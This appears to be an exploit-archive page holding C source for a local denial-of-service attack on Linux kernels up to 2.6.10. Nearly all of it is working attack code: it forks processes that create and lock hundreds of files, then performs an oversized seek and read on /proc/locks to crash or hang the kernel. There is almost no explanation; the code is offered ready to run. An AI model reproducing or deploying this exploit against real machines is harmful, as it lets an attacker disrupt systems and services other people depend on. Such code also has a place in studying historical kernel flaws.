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Linux Kernel <= 2.6.10 Local Denial of Service Exploit
[======================================================
Linux Kernel <= 2.6.10 Local Denial of Service Exploit
======================================================
/* Removed ='s at the bottom /str0ke */
/*
* linux kernel <=2.6.10(2.6.x) DOS exploit
* writen by ChoiX
* (c) uKt Research
* [www.unl0ck.org][info@unl0ck.org]
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/file.h>
#include <syscall.h>
#include <errno.h>
#define SIZE 0x80004242
_syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res, uint, wh);
void createfile(){
int nm1, filev;
char vname[424];
for(nm1=0;nm1<920;nm1++){
snprintf(vname, sizeof(vname), "UNLOCKRESEARCHTEAM%d.%d", getpid(), nm1);
filev = open(vname, O_CREAT|O_RDWR, S_IRWXU);
if(filev < 0){
printf("ERROR\n");
perror("open()");
}
if(flock(filev,LOCK_EX) == -1){
printf("ERROR\n");
perror("flock()");
}
}
while(42);
}
int main(int argc, char *argv[]){
int count, fd, i, fv;
void *mv;
char *buf1, *buf2;
loff_t lr;
int nm1;
printf("\t\tkernel-2.6.10 DoS by ChoiX [Unl0ck Team]\n");
printf("[--]create files(it can take a few minutes)...");
nm1 = 5;
while(count--){
if(!fork()){
createfile();
}
}
sleep(100);
printf("OK\n");
printf("[--]start exploiting...");
system("sync");
fd=open("/proc/locks", O_RDONLY);
if(fd < 0){
printf("ERROR\n");
perror("open()");
}
buf1 = malloc(1024*1024*8);
buf2 = malloc(1024*1024*8);
if(_llseek(fd,42,SIZE,&lr,SEEK_SET) == -1){
printf("ERROR\n");
printf("llseek()");
}
i=read(fd,buf2, SIZE);
perror("read");
printf("read=%d mv=%x fv=%x\n %.300s",i,(int)mv,fv,buf2);
while(42);
return 42;
}
# 0day.today [2024-11-15] #